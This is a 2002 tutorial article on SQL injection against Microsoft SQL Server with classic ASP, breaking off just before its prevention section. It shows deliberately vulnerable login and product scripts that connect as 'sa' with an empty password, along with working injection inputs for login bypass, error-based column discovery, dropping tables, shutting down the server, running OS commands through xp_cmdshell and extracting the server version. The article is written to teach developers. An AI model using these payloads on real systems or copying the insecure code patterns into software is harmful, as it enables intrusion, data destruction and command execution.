MySQL

SQL Injection Attacks: Are You Safe?

Contributed by Mitchell Harper

2002−05−29





Is your database safe from SQL injection attacks? In this article Mitchell tells us exactly what they are and shows us how to prevent them from occuring.The database is the heart of most web applications: it stores the data needed for the web sites and applications to "survive". It stores user credentials and sensitive financial information. It stores preferences, invoices, payments, inventory data, etc. It is through the combination of a database and web scripting language that we as developers can produce sites that keep clients happy, pay the bills, and most importantly run our businesses.

But what happens when you realize that your critical data may not be safe? What happens when you realize that a new security bug has just been found? Most likely you either patch it or upgrade your database server to a later, bug−free version. Security flaws and patches are found all the time in both databases and programming languages, but I bet 9 out of 10 of you have never heard of SQL injection attacks...?

In this article I will attempt to shed some light on this under−documented attack, explaining what an SQL injection attack is and how you can go about preventing one from occurring within your company. By the end of this article you will be able to identify situations where an SQL injection attack may allow unauthorized persons to penetrate your system. You will also learn ways to fix existing code to prevent an SQL injection attack from occurring.

In this article I will focus specifically on Microsoft SQL Server 2000 and SQL injection attacks, however other databases such as MySQL and Oracle are also vulnerable, so if you're running another database system then you can still use the contents of this article to protect your database.
As you may know, SQL stands for Structured Query Language. It comes in many different dialects, however most are based on the SQL−92 ANSI standard. An SQL query comprises one/more SQL commands, such as SELECT, UPDATE or INSERT. For SELECT queries, each query typically has a clause by which it returns data, for example:

```
SELECT * FROM Users WHERE userName = 'justin';
```

The clause in the SQL query above is WHERE *username = 'justin'*, meaning that we only want the rows from the Users table returned where the userName field is equal to the string value of *Justin*.

It's these types of queries that make the SQL language so popular and flexible... it's also what makes it open to SQL injection attacks. As the name suggests, an SQL injection attack "injects" or manipulates SQL code. By adding unexpected SQL to a query, it is possible to manipulate a database in ways initially unthought of by the database administrator/developer.

One of the most popular ways to validate a user on a web site is by providing them with a HTML form through which they can enter their username and password. Let's assume that we have the following simple HTML form:

```
<form name="frmLogin" action="login.asp" method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>
```

When the form is submitted, the contents of the username and password fields are passed to the login.asp script and are available to that script through the Request.Form collection. The easiest way to validate this user would be to build an SQL query and then check that query against the database to see if that user exists. We could create a login.asp script like this:

```
<%

dim userName, password, query
dim conn, rS

userName = Request.Form("userName")
password = Request.Form("password")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select count(*) from users where userName='" & userName & "' and userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Logged In"
else
response.write "Bad Credentials"
end if

%>
```

In the example above, the user either sees "Logged In" if their credentials matched a record in the database, or "Bad Credentials" if they didn't. Before we continue, let's create the database that we have queried in the sample code. Let's also create a users table with some dummy records:

```
create database myDB
go

use myDB
go

create table users
(
```

```
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)

insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('fsmith', 'mypassword')
```

So, if I entered a username of john and password of doe, then I would be presented with the text "Logged In". The query would look something like this:

```
select count(*) from users where userName='john' and userPass='doe'
```

There's nothing insecure or dangerous about this query… is there? Maybe not at first glance, but what about if I entered a username of *john* and a password of *' or 1=1 −−*

The resultant query would now look like this:

```
select count(*) from users where userName='john' and userPass='' or 1=1 −−'
```

In the example above i've italicised the username and password so they are a bit easier to read, but basically what is happening is that the query now only checks for any user with a username field of john. Instead of checking for a matching password, it now checks for an empty password or the conditional equation of 1=1, meaning that if the password field is empty **OR** 1 equals 1 (which it does), then a valid row has been found in the users table. Notice how the last quote is commented out with a single−line comment delimiter (−−). This stops ASP from spitting an error about any unclosed quotations.

So with the login.asp script we created above, one row would be returned, and the text "Logged In" would be displayed. We could take this a bit further by doing the same thing to the username field, like this:

```
Username: ' or 1=1 –−
Password: [Empty]
```

This would result in the following query being executed against the users table:

```
select count(*) from users where userName='' or 1=1 −−' and userPass=''
```

The query above now returns a count of all rows in the user table. This is the perfect example of an SQL injection attack: adding code that manipulates the contents of a query to perform an undesired result.

Another popular way to validate a user against a table of logins is by comparing their details against the table and retrieving the valid username from the database, like this:

```
query = "select userName from users where userName='" & userName & "' and userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
```

```
response.write "Logged In As " & rs.fields(0).value
else
response.write "Bad Credentials"
end if
```

So, if we entered a username of john and a password of doe, then we would be presented with:

Logged In As john

However, if we used the following login credentials:

Username: ' or 1=1 –−
Password: [Anything]

Then we would also be logged in as John, because the row whose username field is John comes first in the list, based on the insert queries we saw earlier:

```
insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('fsmith', 'mypassword')
```

Forcing a login through a HTML form like we saw on the last page is a typical example of an SQL injection attack, and we will be looking at ways to fix these types of attacks later in this article.

On this page I want to take a look at a couple of examples of executing SQL injection attacks. First of, let's stick with our example login form, which contains a username and password field.

Example #1
Microsoft SQL Server has its own dialect of SQL, which is called Transact SQL, or TSQL for short. We can exploit the power of TSQL in a number of ways to show how SQL injection attacks work. Consider the following query, which is based on the users table we created on the last page:

```
select userName from users where userName='' having 1=1
```

If you're an SQL buff, then you'll no doubt be aware that this query raises an error. We can easily make our login.asp page query our database with this query by using the following login credentials:

Username: ' having 1=1 –−
Password: [Anything]

When I click on the submit button to start the login process, the SQL query causes ASP to spit the following error to the browser:

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 16

Well well. It appears that this error message now tells the unauthorized user the name of one field from the database that we were trying to validate the login credentials against: users.userName. Using the name of this field, we can now use SQL Server's LIKE keyword to login with the following credentials:

Username: ' or users.userName like 'a%' –−
Password: [Anything]

Once again, this results in an injected SQL query being performed against our users table:

select userName from users where userName='' or users.userName like 'a%' −−' and userPass=''

Remebering back to when we created the users table, we also created a user whose userName field was admin and userPass field was wwz04ff. Logging in with the username and password shown above uses SQL's like keyword to get the username, the query grabs the userName field of the first row whose userName field starts with a, which in this case is admin:

Logged In As admin

Example #2
SQL Server amongst other databases separates queries with a semi−colon. The use of a semi−colon allows multiple queries to be submitted as one batch and executed sequentially, for example:

select 1; select 1+2; select 1+3;

... would return three recordsets. The first would contain the value 1, the second the value 3, and the third the value 4, etc. So, if we logged in with the following credentials:

Username: ' or 1=1; drop table users; −−
Password: [Anything]

Then the query would execute in two parts. Firstly, it would select the userName field for all rows in the users table. Secondly, it would delete the users table, meaning that when we went to login next time, we would see the following error:

Microsoft OLE DB Provider for SQL Server (0x80040E37)
Invalid object name 'users'.
/login.asp, line 16

Example #3
The last example relating to our login form that I want to discuss is the execution of TSQL specific commands and extended stored procedures. Many web sites use the default system account (sa) user when logging into SQL Server from their ASP scripts or applications. By default, this user has access to all commands and can delete, rename, and add databases, tables, triggers, etc.

One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes SQL Server to shutdown, immediately stopping the Windows service. To restart SQL server after this command is issued, you need to use the SQL service manager or some other method of restarting SQL server.

Once again, this command can be exploited by looking at our login example:

Username: '; shutdown with nowait; −−
Password: [Anything]

This would make our login.asp script run the following query:

select userName from users where userName=''; shutdown with nowait; −−' and userPass=''

If the user is setup as the default sa account, or the user has the required privileges, then SQL server will shut down and will require a startup before it will function again.

SQL Server also includes several extended stored procedures, which are basically special C++ DLL's that can contain powerful C/C++ code to manipulate the server, read directories and the registries, delete files, run the command prompt, etc. All extended stored procedures exist under the master database and are prefixed with "xp_".

There are several extended stored procedures that can cause permanent damage to a system, and using our login form with an injected command as the username, like this:

Username: '; exec master..xp_xxx; −−
Password: [Anything]

We can execute an extended stored procedure. All we have to do is pick the appropriate extended stored procedure and replace xp_xxx with its name in the sample above. For example, if IIS was installed on the same machine as SQL Server (which is typical for small one/two man setups), then we could restart it by using the xp_cmdshell extended stored procedure (which executes a command string as an operating−system command) and IIS reset. All we need to do is enter the following user credentials into our getlogin.asp page:

Username: '; exec master..xp_cmdshell 'iisreset'; −−
Password: [Anything]

Which would send the following query to SQL Server:

select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; −−' and userPass=''

As I'm sure you'll agree, this can cause serious problems, and with the right commands can cause an entire web site to malfunction.

Example #4
OK, time to move away from looking at the login.asp script and onto another common method to perform an SQL injection attack.

How many times have you been to a web site that sells you favourite gear and seen a URL like this:

www.mysite.com/products.asp?productId=2

Obviously the 2 is the ID of the product, and a lot of sites would simply build a query around the productId querystring variable, like so:

select prodName from products where id = 2

Before we continue, let's assume that we have the following table and rows setup on our SQL server:

```
create table products
(
id int identity(1,1) not null,
prodName varchar(50) not null,
)
```

```
insert into products(prodName) values('Pink Hoola Hoop')
insert into products(prodName) values('Green Soccer Ball')
insert into products(prodName) values('Orange Rocking Chair')
```

Let's also assume that we have created the following ASP script setup as products.asp:

```
<%

dim prodId
prodId = Request.QueryString("productId")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id = " & prodId

conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if

%>
```

So if we visited products.asp in the browser with the following URL:

http://localhost/products.asp?productId=1

... then we would see the following line of text in our browser:

Got product Pink Hoola Hoop

Notice this time around that product.asp returns a field from the recordset based on the field's name:

```
response.write "Got product " & rs.fields("prodName").value
```

Although this may seem more secure, it really isn't, and we can still manipulate the database just how we have in our last three examples. Notice also that this time the WHERE clause of the query is based on a numerical value:

```
query = "select prodName from products where id = " & prodId
```

In order for the products.asp page to function correctly, all that's required is a numerical product Id passed as the productId querystring variable. Getting around this isn't too much of a problem however. Consider the following URL to products.asp:

http://localhost/products.asp?productId=0%20or%201=1

Each %20 in the URL represents a URL−encoded space character, so the URL really looks like this:

http://localhost/products.asp?productId=0 or 1=1

When used in conjunction with products.asp, the query now looks like this:

select prodName from products where id = 0 or 1=1

Using a bit of know−how and some URL−encoding, we can just as easily pull the name of the products field from the products table:

http://localhost/products.asp?productId=0%20having%201=1

This would produce the following error in the browser:

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'products.prodName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/products.asp, line 13

Now, we can take the name of the products field (products.prodName) and call up the following URL in the browser:

http://localhost/products.asp?productId=0;insert%20into%20products(prodName)%20values(left(@@version,50))

Here's the query without the URL−encoded spaces:

http://localhost/products.asp?productId=0;insert into products(prodName) values(left(@@version,50))

Basically it returns "No product found", however it also runs an INSERT query on the products table, adding the first 50 characters of SQL server's @@version variable (which contains the details of SQL Server's version, build, etc) as a new record in the products table.

In a real−life situation, you would obviously have to exploit the products table more than this as it would contain dozens of other fields, however the methods would still remain the same.

To get to the version, it's now a simple matter of calling up the products.asp page with the value of the latest entry in the products table, like so:

http://localhost/products.asp?productId=(select%20max(id)%20from%20products)

What this query does is grab the ID of the latest row added to the products table using SQL server's MAX function. The result outputs the new row that contains the SQL server version details:

Got product Microsoft SQL Server 2000 − 8.00.534 (Intel X86)

This method of injection can be used to perform a numerous amount of tasks, however the point of this article was to give tips on how to prevent SQL injection attacks, which is what we will look at on the next page. If you design your scripts and applications with care, SQL injection attacks can be avoided most of the time. There are a number of things that we as developers can do to stop the likeliness of an attack happening. Here's a list in no particular